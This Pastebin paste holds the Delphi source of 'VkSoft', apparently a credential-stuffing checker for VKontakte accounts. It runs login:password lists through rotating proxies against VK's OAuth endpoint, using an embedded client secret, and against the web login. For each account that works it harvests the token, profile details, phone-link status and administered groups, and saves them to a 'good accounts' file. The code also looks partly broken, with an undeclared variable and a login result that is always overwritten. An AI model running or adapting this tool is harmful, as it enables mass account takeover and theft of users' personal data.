Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- unit Unit1;
- interface
- uses
- Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, acProgressBar, sListView, Vcl.StdCtrls, sRadioButton, sSpinEdit, sLabel, sButton, sGroupBox, sTabControl, sCheckBox, httpsend, ssl_openssl, sDialogs, clipbrd, Vcl.ExtCtrls, sPanel, sSkinProvider, Vcl.Imaging.jpeg, sSkinManager, sEdit, Vcl.ImgList, acAlphaImageList, sGauge, sMemo, sComboBox, Vcl.Buttons, sSpeedButton, sBevel, blcksock, Vcl.Imaging.pngimage,
- acImage, sPageControl, acTitleBar, IdBaseComponent, IdAntiFreezeBase, Vcl.IdAntiFreeze, Vcl.Menus, sBitBtn, IdHashMessageDigest, synacode, Winapi.TlHelp32, sListBox, sStatusBar, acPNG, acPageScroller, sScrollBar, Winapi.ShellAPI, System.IniFiles;
- type
- TForm1 = class(TForm)
- Timer1: TTimer;
- s: TTimer;
- sTitleBar1: TsTitleBar;
- sPanel1: TsPanel;
- img1: TImage;
- sSkinProvider1: TsSkinProvider;
- TrayIcon1: TTrayIcon;
- sOpenDialog1: TsOpenDialog;
- tmr1: TTimer;
- sSkinManager1: TsSkinManager;
- sPanel7: TsPanel;
- sLabel1: TsLabel;
- AccountsLabel: TsLabel;
- sLabel3: TsLabel;
- ProxyLabel: TsLabel;
- sLabel5: TsLabel;
- GoodLabel: TsLabel;
- sLabel9: TsLabel;
- BadLabel: TsLabel;
- sLabel21: TsLabel;
- SpeedLabel: TsLabel;
- sLabel23: TsLabel;
- ErrorLabel: TsLabel;
- NCheck11: TsLabel;
- NCheck: TsLabel;
- sPanel8: TsPanel;
- AccountsButton: TsButton;
- ProxyButton: TsButton;
- sLabel10: TsLabel;
- ThreadSpinEdit: TsSpinEdit;
- sLabel2: TsLabel;
- TimeOutSpinEdit: TsSpinEdit;
- sLabel4: TsLabel;
- sSpinEdit2: TsSpinEdit;
- sPanel4: TsPanel;
- StartButton: TsButton;
- StopButton: TsButton;
- PauseButton: TsButton;
- CleanButton: TsButton;
- sGauge1: TsGauge;
- sPanel3: TsPanel;
- sMemo1: TsMemo;
- ProxySettingsCheckBox: TsCheckBox;
- sCheckBox1: TsCheckBox;
- sPanel2: TsPanel;
- sCheckBox2: TsCheckBox;
- ExitProgramButton: TsButton;
- RestartProgramButton: TsButton;
- sComboBox1: TsComboBox;
- procedure FormCreate(Sender: TObject);
- procedure FormClose(Sender: TObject; var Action: TCloseAction);
- procedure Timer1Timer(Sender: TObject);
- procedure sTitleBar1Items4Click(Sender: TObject);
- procedure AccountsButtonClick(Sender: TObject);
- procedure TimeOutSpinEditChange(Sender: TObject);
- procedure tmr1Timer(Sender: TObject);
- procedure StartButtonClick(Sender: TObject);
- procedure PauseButtonClick(Sender: TObject);
- procedure StopButtonClick(Sender: TObject);
- procedure CleanButtonClick(Sender: TObject);
- procedure ProxyButtonClick(Sender: TObject);
- procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
- procedure TrayIcon1Click(Sender: TObject);
- procedure sListView2DblClick(Sender: TObject);
- procedure sButton1Click(Sender: TObject);
- procedure ProxySettingsCheckBoxClick(Sender: TObject);
- procedure ExitProgramButtonClick(Sender: TObject);
- procedure RestartProgramButtonClick(Sender: TObject);
- procedure sTitleBar1Items1Click(Sender: TObject);
- private
- protected
- public
- end;
- type
- TASThread = class(TThread)
- protected
- procedure Execute; override;
- end;
- type
- Thread = class(TThread)
- protected
- FErrorCount: Integer;
- IP: string;
- Port: string;
- Login: string;
- Pass: string;
- ip_h: string;
- lg_h: string;
- Golosa: string;
- Balance: string;
- Token: string;
- common_count, first_name, last_name, followers_count, UserID, PhoneCheck, groupsName, groupsID, groupsMembers, online: string;
- Rez: Integer;
- HTTP: THTTPSend;
- Scr: TStringList;
- RC: Integer;
- Data: TStringStream;
- Check3: string;
- C: Integer;
- FCur: Integer;
- Ready: Boolean;
- FProxyTypes: Integer;
- Check2: string;
- MaxError: Integer;
- FLineProxy: string;
- Check4: Integer;
- Check1: string;
- CheckTemp: string;
- constructor Create(FStat: Boolean; FProxyType: Integer; FErrorCheck: Integer);
- procedure Execute; override;
- procedure Sync;
- procedure Stop;
- procedure Err;
- end;
- FThreadTemp = array[0..500] of Thread;
- var
- Form1: TForm1;
- FThread: FThreadTemp;
- Proxy: TStringList;
- FAccounts: TStringList;
- FAcc: Integer = -1;
- FWork: Boolean = False;
- FCriticalSection: _RTL_CRITICAL_SECTION;
- TP: Integer;
- FProxyType: Integer;
- FPPSValue: Integer;
- FTimes: string;
- FTimeOut: Integer;
- FAccountsReserved: TStringList;
- FThreadCount: Integer = 0;
- FCheckProxy: Boolean = False;
- FGood: Integer = 0;
- FBad: Integer = 0;
- FBeep: Boolean = False;
- FSettings: TStringList;
- FDir: string;
- FS: Integer;
- implementation
- {$R *.dfm}
- uses
- Unit2;
- const
- GoodFileName: string = 'Хорошие аккаунты.txt';
- BadFileName: string = 'Плохие аккаунты.txt';
- PhoneFile: string = 'По номеру.txt';
- MailFile: string = 'По почте.txt';
- procedure AppendStringToFile(FileName: string; Data: string);
- var
- S: TextFile;
- begin
- if not FileExists(FDir + FileName) then
- begin
- AssignFile(S, FDir + FileName);
- Rewrite(S);
- WriteLn(S, Data);
- CloseFile(S);
- end
- else
- begin
- AssignFile(S, FDir + FileName);
- Append(S);
- WriteLn(S, Data);
- CloseFile(S);
- end;
- end;
- function Pars(T_, ForS, _T: string): string;
- var
- a, b: integer;
- begin
- Result := '';
- if (T_ = '') or (ForS = '') or (_T = '') then
- Exit;
- a := Pos(T_, ForS);
- if a = 0 then
- Exit
- else
- a := a + Length(T_);
- ForS := Copy(ForS, a, Length(ForS) - a + 1);
- b := Pos(_T, ForS);
- if b > 0 then
- Result := Copy(ForS, 1, b - 1);
- end;
- constructor Thread.Create(FStat: Boolean; FProxyType, FErrorCheck: Integer);
- begin
- inherited Create(FStat);
- FreeOnTerminate := True;
- Priority := tpNormal;
- FProxyTypes := FProxyType;
- MaxError := FErrorCheck;
- Resume;
- end;
- procedure FGetLoginPass(const Data: string; out Login, Pass: string); inline;
- var
- FIndex: Integer;
- FDelimetr: string;
- begin
- FDelimetr := ':';
- if Pos(';', Data) <> 0 then
- FDelimetr := ';';
- FIndex := Pos(FDelimetr, Data);
- Login := Copy(Data, 1, FIndex - 1);
- Pass := Copy(Data, FIndex + 1, Length(Data) - FIndex);
- end;
- procedure FGetProxy(out IP, Port: string); inline;
- begin
- if TP >= Proxy.Count then
- TP := 0;
- IP := Copy(Proxy.Strings[TP], 1, Pos(':', Proxy.Strings[TP]) - 1);
- Port := Copy(Proxy.Strings[TP], Pos(':', Proxy.Strings[TP]) + 1, Length(Proxy.Strings[TP]));
- Inc(TP);
- end;
- function ParsIndex(_S: string; S1: string; S_: string; I: Integer): string;
- var
- TS: TStringList;
- S: string;
- begin
- TS := TStringList.Create;
- while Pos(_S, S1) <> 0 do
- begin
- TS.Add(Pars(_S, S1, S_));
- Delete(S1, Pos(_S, S1), 1);
- end;
- Result := TS.Strings[I];
- FreeAndNil(TS);
- end;
- function RandomPwd(PWLen: integer): string;
- const
- StrTable: string = '0123456789' +
- //'QWERTYUIOPASDFGHJKLZXCVBNM'+
- 'qwertyuiopasdfghjklzxcvbnm';
- var
- N, K, X, Y: integer;
- begin
- if (PWLen > Length(StrTable)) then
- K := Length(StrTable) - 1
- else
- K := PWLen;
- SetLength(result, K);
- Y := Length(StrTable);
- N := 0;
- while N < K do
- begin
- X := Random(Y) + 1;
- if (pos(StrTable[X], result) = 0) then
- begin
- inc(N);
- Result[N] := StrTable[X];
- end;
- end;
- end;
- procedure Thread.Execute;
- label
- ProxyCheck;
- var
- I, S: Integer;
- begin
- while FWork do
- begin
- if not Self.Terminated then
- begin
- EnterCriticalSection(FCriticalSection);
- if FAcc + 1 < FAccounts.Count then
- begin
- Inc(FAcc);
- FCur := FAcc;
- end
- else
- Exit;
- LeaveCriticalSection(FCriticalSection);
- FGetLoginPass(FAccounts.Strings[FCur], Login, Pass);
- HTTP := THTTPSend.Create;
- Scr := TStringList.Create;
- Data := TStringStream.Create;
- HTTP.Timeout := FTimeOut;
- HTTP.Sock.SocksTimeout := FTimeOut;
- HTTP.Sock.SetTimeout(FTimeOut);
- HTTP.Sock.SetSendTimeout(FTimeOut);
- HTTP.Sock.SetRecvTimeout(FTimeOut);
- Rez := 0;
- FErrorCount := 0;
- RC := 0;
- while Rez = 0 do
- begin
- Inc(FPPSValue);
- if FErrorCount = MaxError then
- begin
- Rez := 3;
- end
- else
- begin
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Cookies.Clear;
- Data.Clear;
- if FProxyTypes > 0 then
- begin
- ProxyCheck:
- FGetProxy(IP, Port);
- case FProxyTypes of
- 1:
- begin
- HTTP.ProxyHost := IP;
- HTTP.ProxyPort := Port;
- end;
- 2:
- begin
- HTTP.Sock.SocksIP := IP;
- HTTP.Sock.SocksPort := Port;
- HTTP.Sock.SocksType := ST_Socks4;
- end;
- 3:
- begin
- HTTP.Sock.SocksIP := IP;
- HTTP.Sock.SocksPort := Port;
- HTTP.Sock.SocksType := ST_Socks5;
- end;
- end;
- if FCheckProxy = True then
- begin
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Cookies.Clear;
- HTTP.AddPortNumberToHost := False;
- HTTP.HTTPMethod('GET', 'https://vk.com/');
- if not HTTP.ResultCode = 200 then
- goto ProxyCheck;
- end;
- begin
- HTTP.AddPortNumberToHost := false;
- HTTP.Protocol := '1.1';
- HTTP.UserAgent := 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37';
- HTTP.Headers.Add('Accept: text/html, application/xhtml+xml, image/jxr, */*');
- HTTP.Headers.Add('Accept-Language: ru,en-US;q=0.7,en;q=0.3');
- if HTTP.HTTPMethod('GET', 'https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=' + Login + '&password=' + Pass) then
- begin
- Scr.LoadFromStream(HTTP.Document);
- if pos('"access_token":"', Scr.Text) <> 0 then
- begin
- Token := Pars('{"access_token":"', Scr.Text, '","');
- UserID := Pars('"user_id":', Scr.Text, '}');
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.AddPortNumberToHost := false;
- HTTP.Protocol := '1.1';
- HTTP.UserAgent := 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37';
- HTTP.Headers.Add('Accept: text/html, application/xhtml+xml, image/jxr, */*');
- HTTP.Headers.Add('Accept-Language: ru,en-US;q=0.7,en;q=0.3');
- if HTTP.HTTPMethod('GET', 'https://api.vk.com/method/users.get?&access_token=' + Token + '&fields=followers_count,common_count,sex') then
- begin
- Scr.LoadFromStream(HTTP.Document);
- PhoneCheck := Pars('"has_mobile":', Scr.Text, ',"');
- if Pos('1', PhoneCheck) = 1 then
- begin
- PhoneCheck := ('Привязан!')
- end
- else
- begin
- PhoneCheck := ('Не Привязан!');
- end;
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- online := Pars('"online":', Scr.Text, ',"');
- if Pos('1', online) = 1 then
- begin
- online := ('Online!')
- end
- else
- begin
- online := ('Offline!');
- end;
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- first_name := Pars('"first_name":"', Utf8ToAnsi(Scr.Text), '",');
- last_name := Pars('"last_name":"', Utf8ToAnsi(Scr.Text), '",');
- followers_count := Pars('followers_count":', Scr.Text, ',"');
- common_count := Pars('"common_count":', Scr.Text, '}]}');
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.HTTPMethod('GET', 'https://api.vk.com/method/groups.get?uid=' + UserID + '&extended=1&filter=admin&fields=members_count&count=1000&access_token=' + token);
- Scr.LoadFromStream(HTTP.Document);
- groupsName := Pars(',"name":"', Utf8ToAnsi(Scr.Text), ',"');
- groupsID := Pars('"screen_name":"', Scr.Text, '","');
- groupsMembers := Pars('"members_count":', Scr.Text, ',');
- begin
- HTTP.Clear;
- HTTP.Protocol := '1.1';
- HTTP.UserAgent := 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 YaBrowser/17.3.0.1785 Yowser/2.5 Safari/537.36';
- HTTP.Headers.Add('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8');
- HTTP.Headers.Add('Referer: https://vk.com/im?peers=c14_357029035_101671806_c16_154887871_227672672');
- HTTP.Headers.Add('Accept-Language: ru,en;q=0.8');
- if HTTP.HTTPMethod('GET', 'https://vk.com/') then
- begin
- Scr.LoadFromStream(HTTP.Document);
- if pos('"access_token":"', Scr.Text) <> 0 then
- begin
- Scr.LoadFromStream(HTTP.Document);
- ip_h := Pars('name="ip_h" value="', Scr.Text, '" />');
- lg_h := Pars('name="lg_h" value="', Scr.Text, '" />');
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.AddPortNumberToHost := False;
- HTTP.Protocol := '1.1';
- HTTP.UserAgent := 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 YaBrowser/17.3.0.1785 Yowser/2.5 Safari/537.36';
- HTTP.MimeType := 'application/x-www-form-urlencoded';
- HTTP.Headers.Add('Origin: https://vk.com');
- HTTP.Headers.Add('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8');
- HTTP.Headers.Add('Referer: https://vk.com/');
- HTTP.Headers.Add('Accept-Language: ru,en;q=0.8');
- HTTP.Headers.Add('Accept-Encoding: gzip, deflate');
- Data.WriteString('act=login' + '&role=al_frame' + '&expire=' + '&captcha_sid=' + '&captcha_key=' + '&_origin=https%3A%2F%2Fvk.com' + '&ip_h=' + ip_h + '&lg_h=' + lg_h + '&email=' + Login + '&pass=' + Pass);
- HTTP.Document.LoadFromStream(Data);
- if HTTP.HTTPMethod('POST', 'https://login.vk.com/?act=login') then
- begin
- Scr.LoadFromStream(HTTP.Document);
- if Pos('Location: https://vk.com/login.php?act=slogin&to=&s=1&__q_hash=', HTTP.Headers.Text) <> 0 then
- begin
- Rez := 1;
- end
- else
- begin
- Rez := 2;
- end;
- end;
- end
- else
- begin
- Rez := 2;
- end;
- end
- else
- begin
- Rez := 0;
- end;
- end;
- end
- else
- begin
- Rez := 0;
- end;
- Rez := 1;
- end
- else
- begin
- Rez := 2;
- end;
- end;
- end;
- end;
- if Rez = 0 then
- begin
- Synchronize(Err);
- InterlockedIncrement(FErrorCount);
- end;
- end;
- end;
- Synchronize(Sync);
- FreeAndNil(HTTP);
- FreeAndNil(SCR);
- FreeAndNil(Data);
- end
- else
- begin
- Synchronize(Stop);
- end;
- end;
- end;
- procedure Thread.Sync;
- var
- S: Integer;
- begin
- case Rez of
- 1:
- begin
- if Form1.sCheckBox2.Checked = True then
- begin
- Beep;
- end;
- begin
- begin
- Form1.sMemo1.Lines.Add('•••••••••••••••Информация•••••••••••••••');
- Form1.sMemo1.Lines.Add('Данные для входа - ' + Login + ':' + Pass);
- Form1.sMemo1.Lines.Add('Имя - ' + first_name);
- Form1.sMemo1.Lines.Add('Фамилия - ' + last_name);
- Form1.sMemo1.Lines.Add('Количество подписчиков - ' + followers_count);
- Form1.sMemo1.Lines.Add('Количество друзей - ' + common_count);
- Form1.sMemo1.Lines.Add('Ссылка на страницу - ' + 'https://vk.com/id' + UserID);
- Form1.sMemo1.Lines.Add('Телефон - ' + PhoneCheck);
- Form1.sMemo1.Lines.Add('Пользователь онлайн - ' + online);
- Form1.sMemo1.Lines.Add('Баланс - ' + Balance);
- if (groupsName = '') then
- begin
- Form1.sMemo1.Lines.Add('•••••••••••••••Администрируемые группы•••••••••••••••');
- Form1.sMemo1.Lines.Add('Название группы - Нет');
- Form1.sMemo1.Lines.Add('Пользователей в группе - Нет');
- Form1.sMemo1.Lines.Add('Ссылка на группу - Нет');
- end
- else
- begin
- Form1.sMemo1.Lines.Add('•••••••••••••••Администрируемые группы•••••••••••••••');
- Form1.sMemo1.Lines.Add('Название группы - ' + groupsName);
- Form1.sMemo1.Lines.Add('Пользователей в группе - ' + groupsMembers);
- Form1.sMemo1.Lines.Add('Ссылка на группу - ' + 'https://vk.com/' + groupsID);
- end;
- end;
- Form1.GoodLabel.Caption := IntToStr(StrToInt(Form1.GoodLabel.Caption) + 1);
- Inc(FGood);
- AppendStringToFile(GoodFileName, '•••••••••••••••Информация•••••••••••••••');
- AppendStringToFile(GoodFileName, 'Данные для входа - ' + Login + ':' + Pass);
- AppendStringToFile(GoodFileName, 'Имя - ' + first_name);
- AppendStringToFile(GoodFileName, 'Фамилия - ' + last_name);
- AppendStringToFile(GoodFileName, 'Количество подписчиков - ' + followers_count);
- AppendStringToFile(GoodFileName, 'Количество друзей - ' + common_count);
- AppendStringToFile(GoodFileName, 'Ссылка на страницу - ' + 'https://vk.com/id' + UserID);
- AppendStringToFile(GoodFileName, 'Телефон - ' + PhoneCheck);
- AppendStringToFile(GoodFileName, 'В сети - ' + online);
- if (groupsName = '') then
- begin
- AppendStringToFile(GoodFileName, '•••••••••••••••Администрируемые группы•••••••••••••••');
- AppendStringToFile(GoodFileName, 'Название группы - Нет');
- AppendStringToFile(GoodFileName, 'Пользователей в группе - Нет');
- AppendStringToFile(GoodFileName, 'Ссылка на группу - Нет');
- end
- else
- begin
- AppendStringToFile(GoodFileName, '•••••••••••••••Администрируемые группы•••••••••••••••');
- AppendStringToFile(GoodFileName, 'Название группы - ' + groupsName);
- AppendStringToFile(GoodFileName, 'Пользователей в группе - ' + groupsMembers);
- AppendStringToFile(GoodFileName, 'Ссылка на группу - ' + groupsID);
- end;
- end;
- end;
- 2:
- begin
- Form1.BadLabel.Caption := IntToStr(StrToInt(Form1.BadLabel.Caption) + 1);
- Inc(FBad);
- AppendStringToFile(BadFileName, Login + ':' + Pass);
- end;
- 3:
- begin
- Form1.BadLabel.Caption := IntToStr(StrToInt(Form1.BadLabel.Caption) + 1);
- Inc(FBad);
- end;
- end;
- Form1.sGauge1.Progress := Form1.sGauge1.Progress + 1;
- Form1.sGauge1.Suffix := '% | Пройдено аккаунтов - ' + IntToStr(FGood + FBad);
- FAccountsReserved.Delete(0);
- S := StrToInt(Form1.AccountsLabel.Caption);
- Form1.NCheck.Caption := IntToStr(S - (FGood + FBad));
- if (FGood + FBad) = StrToInt(Form1.AccountsLabel.Caption) then
- Synchronize(Stop);
- end;
- procedure Thread.Err;
- begin
- Form1.ErrorLabel.Caption := IntToStr(StrToInt(Form1.ErrorLabel.Caption) + 1);
- end;
- procedure Thread.Stop;
- var
- S: string;
- Z: Integer;
- FUProxy: string;
- I: Integer;
- begin
- Form1.StopButton.Enabled := False;
- Form1.PauseButton.Enabled := False;
- Form1.CleanButton.Enabled := True;
- Form1.tmr1.Enabled := False;
- Form1.Timer1.Enabled := False;
- Form1.SpeedLabel.Caption := '0';
- Form1.AccountsButton.Enabled := False;
- FAccountsReserved.SaveToFile(ExtractFilePath(Application.ExeName) + 'Результаты\Результаты(' + FTimes + ')' + FServise + '\Остаток.txt');
- ShowMessage('Работа программы завершена!');
- FreeAndNil(FCriticalSection);
- end;
- procedure TForm1.AccountsButtonClick(Sender: TObject);
- begin
- if FAccounts.Text = '' then
- begin
- sOpenDialog1.Title := 'Загрузка листа с аккаунтами';
- if sOpenDialog1.Execute then
- begin
- FAccounts.Clear;
- FAccountsReserved.Clear;
- FAccounts.LoadFromFile(sOpenDialog1.FileName);
- FAccountsReserved.Assign(FAccounts);
- if FAccounts.Count = 0 then
- begin
- ShowMessage('Вы загрузили пустой лист');
- StartButton.Enabled := False;
- end
- else
- begin
- ShowMessage('Загруженный лист содержит - ' + IntToStr(FAccounts.Count));
- StartButton.Enabled := True;
- end;
- AccountsLabel.Caption := IntToStr(FAccounts.Count);
- AccountsButton.Enabled := False;
- CleanButton.Enabled := True;
- end;
- end;
- end;
- procedure TForm1.CleanButtonClick(Sender: TObject);
- begin
- FAccounts.Clear;
- AccountsLabel.Caption := IntToStr(FAccounts.Count);
- AccountsButton.Enabled := True;
- StartButton.Enabled := False;
- PauseButton.Enabled := False;
- StopButton.Enabled := False;
- Form1.ThreadSpinEdit.Enabled := True;
- Form1.TimeOutSpinEdit.Enabled := True;
- sSpinEdit2.Enabled := True;
- FCheckProxy := False;
- ProxyButton.Enabled := True;
- GoodLabel.Caption := '0';
- BadLabel.Caption := '0';
- ErrorLabel.Caption := '0';
- NCheck.Caption := '0';
- ProxyLabel.Caption := '0';
- sGauge1.Progress := 0;
- FGood := 0;
- FBad := 0;
- sMemo1.Clear;
- sGauge1.Suffix := '% | Пройдено аккаунтов - ' + IntToStr(StrToInt(Form1.GoodLabel.Caption + Form1.BadLabel.Caption));
- CleanButton.Enabled := False;
- end;
- procedure TForm1.ExitProgramButtonClick(Sender: TObject);
- begin
- ExitProcess(0);
- end;
- procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
- begin
- FSettings.Clear;
- FSettings.Add('Thread:' + IntToStr(Form1.ThreadSpinEdit.Value) + '<');
- FSettings.Add('Login:' + Form2.LoginEdit.Text + '<');
- FSettings.Add('Password:' + Form2.PassEdit.Text + '<');
- FSettings.Add('Hideme:' + Form2.HidemeEdit.Text + '<');
- FSettings.Add('BestProxies:' + Form2.BestEdit.Text + '<');
- FSettings.SaveToFile(ExtractFilePath(ParamStr(0)) + 'Setting.ini');
- FreeAndNil(FSettings);
- FreeAndNil(FAccounts);
- FreeAndNil(Proxy);
- FreeAndNil(FAccountsReserved);
- Application.Terminate;
- end;
- procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
- var
- FTemp: Word;
- begin
- FTemp := 0;
- FTemp := MessageBox(Handle, 'Вы хотите закрыть приложение? ' + #13 + 'Да - приложение будет закрыто' + #13 + 'Нет - свернуть в трей' + #13, 'VkSoft', MB_YESNOCANCEL + MB_ICONQUESTION);
- case FTemp of
- IDYES:
- begin
- CanClose := True;
- FSettings.Clear;
- FSettings.Add('Thread:' + IntToStr(Form1.ThreadSpinEdit.Value) + '<');
- FSettings.Add('Login:' + Form2.LoginEdit.Text + '<');
- FSettings.Add('Password:' + Form2.PassEdit.Text + '<');
- FSettings.Add('Hideme:' + Form2.HidemeEdit.Text + '<');
- FSettings.Add('BestProxies:' + Form2.BestEdit.Text + '<');
- FSettings.SaveToFile(ExtractFilePath(ParamStr(0)) + 'Setting.ini');
- end;
- IDNO:
- begin
- TrayIcon1.Visible := True;
- Form1.Hide;
- CanClose := False;
- end;
- IDCANCEL:
- begin
- CanClose := False;
- end;
- end;
- end;
- procedure TForm1.FormCreate(Sender: TObject);
- begin
- FS := 0;
- FSettings := TStringList.Create;
- FSettings.LoadFromFile(ExtractFilePath(ParamStr(0)) + 'Setting.ini');
- FAccountsReserved := TStringList.Create;
- ThreadSpinEdit.Value := StrToInt(Pars('Thread:', FSettings.Text, '<'));
- FAccounts := TStringList.Create;
- FTimeOut := 10000;
- Proxy := TStringList.Create;
- end;
- procedure TForm1.PauseButtonClick(Sender: TObject);
- var
- I: Integer;
- begin
- if PauseButton.Caption = 'Приостановить' then
- begin
- PauseButton.Caption := 'Продолжить';
- Timer1.Enabled := False;
- SpeedLabel.Caption := '0';
- Form1.TimeOutSpinEdit.Enabled := True;
- if Form1.ProxySettingsCheckBox.Checked = True then
- begin
- Form1.ProxyButton.Enabled := True;
- end
- else
- begin
- Application.ProcessMessages();
- end;
- for I := 0 to Form1.ThreadSpinEdit.Value - 1 do
- begin
- SuspendThread(FThread[I].Handle);
- end;
- end
- else
- begin
- if Form2.HTTPCheckBox.Checked = True then
- FProxyType := 0;
- if Form2.SOCKS4CheckBox.Checked = True then
- FProxyType := 1;
- if Form2.SOCKS5CheckBox.Checked = True then
- FProxyType := 2;
- PauseButton.Caption := 'Приостановить';
- Timer1.Enabled := True;
- Form1.TimeOutSpinEdit.Enabled := False;
- Form1.ProxyButton.Enabled := False;
- for I := 0 to Form1.ThreadSpinEdit.Value - 1 do
- begin
- ResumeThread(FThread[I].Handle);
- end;
- end;
- end;
- procedure TForm1.ProxyButtonClick(Sender: TObject);
- begin
- Form2.Show;
- Form1.Enabled := False;
- end;
- procedure TForm1.ProxySettingsCheckBoxClick(Sender: TObject);
- begin
- if ProxySettingsCheckBox.Checked = True then
- begin
- ProxyButton.Enabled := True;
- sCheckBox1.Enabled := True;
- Form2.FileCheckBox.Enabled := True;
- Form2.HidemeCheckBox.Enabled := True;
- Form2.BestCheckBox.Enabled := True;
- Form2.OtherCheckBox.Enabled := True;
- Form2.UrlCheckBox.Enabled := True;
- Form2.UpdateCheckBox.Enabled := True;
- Form2.HTTPCheckBox.Enabled := True;
- Form2.SOCKS4CheckBox.Enabled := True;
- Form2.SOCKS5CheckBox.Enabled := True;
- ProxySettingsCheckBox.Caption := 'Не использовать прокси';
- end
- else if ProxySettingsCheckBox.Checked = False then
- begin
- ProxyButton.Enabled := False;
- sCheckBox1.Enabled := False;
- Form2.FileCheckBox.Enabled := False;
- Form2.HidemeCheckBox.Enabled := False;
- Form2.BestCheckBox.Enabled := False;
- Form2.OtherCheckBox.Enabled := False;
- Form2.UrlCheckBox.Enabled := False;
- Form2.UpdateCheckBox.Enabled := False;
- Form2.HTTPCheckBox.Enabled := False;
- Form2.SOCKS4CheckBox.Enabled := False;
- Form2.SOCKS5CheckBox.Enabled := False;
- ProxySettingsCheckBox.Caption := 'Использовать прокси';
- end;
- end;
- procedure TForm1.RestartProgramButtonClick(Sender: TObject);
- begin
- ShellExecute(0, 'open', PWideChar(Application.ExeName), nil, nil, SW_SHOWNORMAL);
- ExitProcess(0);
- end;
- procedure TForm1.sButton1Click(Sender: TObject);
- var
- F1: TForm1;
- begin
- Showmessage('123231' + #13 + '123231');
- end;
- procedure TForm1.sListView2DblClick(Sender: TObject);
- begin
- if FTimes = '' then
- begin
- ShellExecute(Form1.Handle, 'open', Pchar(ExtractFilePath(Application.ExeName)), nil, nil, SW_SHOW);
- end
- else
- begin
- ShellExecute(Form1.Handle, 'open', PChar(ExtractFilePath(Application.ExeName) + 'Результаты\Результаты(' + FTimes + ')' + FServise), nil, nil, SW_SHOW);
- end;
- end;
- procedure TForm1.StartButtonClick(Sender: TObject);
- var
- I: Integer;
- FUProxy: string;
- Z: Integer;
- S: string;
- FCounts: Integer;
- begin
- smemo1.Lines.Clear;
- if not Form1.ProxySettingsCheckBox.Checked then
- FProxyType := 0
- else
- FProxyType := 1;
- if FProxyType > 0 then
- begin
- if (Form1.ProxySettingsCheckBox.Checked = True) and (Proxy.Count > 0) then
- begin
- if Form2.HTTPCheckBox.Checked then
- FProxyType := 1;
- if Form2.SOCKS4CheckBox.Checked then
- FProxyType := 2;
- if Form2.SOCKS5CheckBox.Checked then
- FProxyType := 3;
- end
- else
- begin
- ShowMessage('Запуск программы не возможен, прокси не обнаружено!');
- Exit;
- end;
- end;
- InitializeCriticalSection(FCriticalSection);
- FCheckProxy := False;
- sSpinEdit2.Enabled := False;
- FWork := True;
- FTimeOut := Form1.TimeOutSpinEdit.Value * 1000;
- FThreadCount := 0;
- FCheckProxy := True;
- if not Form1.sCheckBox1.Checked then
- FCheckProxy := False;
- FAcc := -1;
- tmr1.Enabled := True;
- Timer1.Enabled := True;
- sGauge1.MaxValue := FAccounts.Count;
- StartButton.Enabled := False;
- PauseButton.Enabled := True;
- StopButton.Enabled := True;
- CleanButton.Enabled := False;
- Form1.ThreadSpinEdit.Enabled := False;
- Form1.TimeOutSpinEdit.Enabled := False;
- ProxyButton.Enabled := False;
- FormatSettings.TimeSeparator := '.';
- FTimes := TimeToStr(Time);
- CreateDir(ExtractFilePath(Application.ExeName) + 'Результаты');
- CreateDir(ExtractFilePath(Application.ExeName) + 'Результаты\Результаты(' + FTimes + ')');
- FDir := ExtractFilePath(Application.ExeName) + 'Результаты\Результаты(' + FTimes + ')\';
- Form1.sGauge1.Progress := 0;
- sGauge1.MaxValue := FAccounts.Count;
- if Form2.UpdateCheckBox.Checked = True then
- begin
- Form2.tmr1.Interval := Form2.TimeSpin.Value * 60 * 1000;
- Form2.tmr1.Enabled := True;
- end;
- for I := 0 to Form1.ThreadSpinEdit.Value - 1 do
- begin
- FThread[I] := Thread.Create(True, FProxyType, sSpinEdit2.Value);
- end;
- end;
- procedure TForm1.sTitleBar1Items1Click(Sender: TObject);
- var
- bmp: TbitMap;
- begin
- bmp := tbitmap.Create;
- bmp.Width := form1.Width - 15;
- bmp.Height := form1.Height - 30;
- BitBlt(bmp.Canvas.Handle, 0, 0, form1.Width, form1.Height, getdc(form1.handle), 0, 0, SRCCOPY);
- bmp.SaveToFile('Screen.png');
- end;
- procedure TForm1.sTitleBar1Items4Click(Sender: TObject);
- begin
- if FTimes = '' then
- begin
- ShellExecute(Form1.Handle, 'open', Pchar(ExtractFilePath(Application.ExeName)), nil, nil, SW_SHOW);
- end
- else
- begin
- ShellExecute(Form1.Handle, 'open', PChar(ExtractFilePath(Application.ExeName) + 'Результаты\Результаты(' + FTimes + ')' + FServise), nil, nil, SW_SHOW);
- end;
- end;
- procedure TForm1.StopButtonClick(Sender: TObject);
- var
- I: Integer;
- begin
- FWork := False;
- StopButton.Enabled := False;
- PauseButton.Enabled := False;
- CleanButton.Enabled := True;
- tmr1.Enabled := False;
- FThreadCount := 0;
